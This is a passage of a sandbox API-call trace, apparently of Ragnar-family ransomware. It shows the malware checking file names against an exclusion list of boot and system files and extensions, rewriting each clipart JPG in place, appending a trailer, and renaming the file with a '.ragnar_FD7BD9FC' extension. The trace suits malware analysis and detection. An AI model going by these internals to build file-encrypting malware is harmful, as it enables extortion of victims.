returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.ragnar_FD7BD9FC" [0087.781] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341447.JPG", cAlternateFileName="")) returned 1 [0087.781] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.782] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341447.JPG" | out: lpString1="J0341447.JPG") returned="J0341447.JPG" [0087.782] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG") returned=".JPG" [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="autorun.inf") returned 1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="boot.ini") returned 1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="bootfont.bin") returned 1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="bootsect.bak") returned 1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="bootmgr") returned 1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="bootmgr.efi") returned 1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="bootmgfw.efi") returned 1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="desktop.ini") returned 1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="iconcache.db") returned 1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="ntldr") returned -1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="ntuser.dat") returned -1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="ntuser.dat.log") returned -1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="ntuser.ini") returned -1 [0087.782] lstrcmpiW (lpString1="J0341447.JPG", lpString2="thumbs.db") returned -1 [0087.782] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.782] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.782] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.782] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.782] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.782] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.782] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg")) returned 0x20 [0087.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.783] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19160) returned 1 [0087.783] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4acf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.783] GetProcessHeap () returned 0x580000 [0087.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.783] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.787] VirtualAlloc (lpAddress=0x0, dwSize=0x4ad8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.788] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4ad8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4ad8, lpOverlapped=0x0) returned 1 [0087.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.789] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ad8, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.789] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4ad8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4ad8, lpOverlapped=0x0) returned 1 [0087.789] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ad8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.789] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.790] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ad8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.790] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.790] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.790] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.790] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.790] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.790] GetProcessHeap () returned 0x580000 [0087.790] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.790] CloseHandle (hObject=0xf4) returned 1 [0087.790] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" [0087.790] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.ragnar_FD7BD9FC" [0087.790] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.791] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341448.JPG", cAlternateFileName="")) returned 1 [0087.791] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.791] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341448.JPG" | out: lpString1="J0341448.JPG") returned="J0341448.JPG" [0087.791] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG") returned=".JPG" [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="autorun.inf") returned 1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="boot.ini") returned 1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="bootfont.bin") returned 1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="bootsect.bak") returned 1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="bootmgr") returned 1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="bootmgr.efi") returned 1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="bootmgfw.efi") returned 1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="desktop.ini") returned 1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="iconcache.db") returned 1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="ntldr") returned -1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="ntuser.dat") returned -1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="ntuser.dat.log") returned -1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="ntuser.ini") returned -1 [0087.791] lstrcmpiW (lpString1="J0341448.JPG", lpString2="thumbs.db") returned -1 [0087.791] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.792] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.792] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.792] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.792] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.792] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.792] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg")) returned 0x20 [0087.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.792] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21187) returned 1 [0087.792] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x52ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.792] GetProcessHeap () returned 0x580000 [0087.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.792] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.794] VirtualAlloc (lpAddress=0x0, dwSize=0x52c3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.794] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x52c3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x52c3, lpOverlapped=0x0) returned 1 [0087.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.795] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x52c3, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.795] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x52c3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x52c3, lpOverlapped=0x0) returned 1 [0087.796] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x52c3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.796] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x52c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.796] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.796] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.796] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.796] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.796] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.796] GetProcessHeap () returned 0x580000 [0087.796] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.796] CloseHandle (hObject=0xf4) returned 1 [0087.797] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" [0087.797] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.ragnar_FD7BD9FC" [0087.797] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.797] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7457, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341455.JPG", cAlternateFileName="")) returned 1 [0087.797] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.797] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341455.JPG" | out: lpString1="J0341455.JPG") returned="J0341455.JPG" [0087.797] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG") returned=".JPG" [0087.797] lstrcmpiW (lpString1="J0341455.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.797] lstrcmpiW (lpString1="J0341455.JPG", lpString2="autorun.inf") returned 1 [0087.797] lstrcmpiW (lpString1="J0341455.JPG", lpString2="boot.ini") returned 1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="bootfont.bin") returned 1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="bootsect.bak") returned 1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="bootmgr") returned 1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="bootmgr.efi") returned 1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="bootmgfw.efi") returned 1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="desktop.ini") returned 1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="iconcache.db") returned 1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="ntldr") returned -1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="ntuser.dat") returned -1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="ntuser.dat.log") returned -1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="ntuser.ini") returned -1 [0087.798] lstrcmpiW (lpString1="J0341455.JPG", lpString2="thumbs.db") returned -1 [0087.798] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.798] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.798] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.798] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.798] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.798] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.798] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg")) returned 0x20 [0087.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.799] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29783) returned 1 [0087.799] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x744e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.799] GetProcessHeap () returned 0x580000 [0087.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.799] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.801] VirtualAlloc (lpAddress=0x0, dwSize=0x7457, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.801] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7457, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7457, lpOverlapped=0x0) returned 1 [0087.802] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.802] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7457, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.802] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7457, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7457, lpOverlapped=0x0) returned 1 [0087.803] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7457, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.803] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7457, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.803] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.803] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.803] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.803] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.803] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.803] GetProcessHeap () returned 0x580000 [0087.803] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.803] CloseHandle (hObject=0xf4) returned 1 [0087.803] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" [0087.804] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.ragnar_FD7BD9FC" [0087.804] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.804] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa9e2, 